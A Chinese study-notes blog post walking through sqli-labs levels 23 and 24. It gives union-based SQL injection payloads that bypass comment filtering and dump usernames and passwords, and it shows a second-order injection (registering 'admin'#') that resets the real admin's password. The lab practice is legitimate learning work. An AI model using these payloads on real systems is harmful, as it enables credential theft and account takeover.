sqli-labs学习笔记(八)less 23-24

前言

继续学习sqli-labs
本篇是less 23-24

Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)

sqli-labs学习笔记(八)less 23-24_第1张图片
测试

?id=1'

sqli-labs学习笔记(八)less 23-24_第2张图片
然后尝试#--+等注释
都无用
看了眼源码
sqli-labs学习笔记(八)less 23-24_第3张图片
注释都被替换掉了
尝试闭合

?id=-1' union select 1, 2, 3 '

sqli-labs学习笔记(八)less 23-24_第4张图片

?id=-1' union select 1, database(), 3 '

sqli-labs学习笔记(八)less 23-24_第5张图片
注入成功
后面的注入就很简单了

?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3'
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3'
?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)'

完成注入

Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)

sqli-labs学习笔记(八)less 23-24_第6张图片
一开始尝试直接注入
没反应

然后看了看源码
sqli-labs学习笔记(八)less 23-24_第7张图片
在改密码的源码里可以操作

注册

user:admin'#
passwd:123

sqli-labs学习笔记(八)less 23-24_第8张图片

并登录
sqli-labs学习笔记(八)less 23-24_第9张图片
把密码改为123456
logout

然后再登录时发现

  • admin'#的密码仍然是123
  • admin的密码被改为123456

这是因为改密码时
sql语句变成

 $sql = "UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='$curr_pass' ";

也就是说
执行了

 UPDATE users SET passwd="New_Pass" WHERE username ='admin'

即把admin的数据update了

本题的意义在于展示如何利用改密码的漏洞
进行二次注入
修改原来就存在的用户的密码

结语

学习了新知识

  • 注释符被替换掉
  • 二次注入改原用户密码

你可能感兴趣的:(cyber,security,数据库,网络安全,sql注入,sqlilabs,二次注入)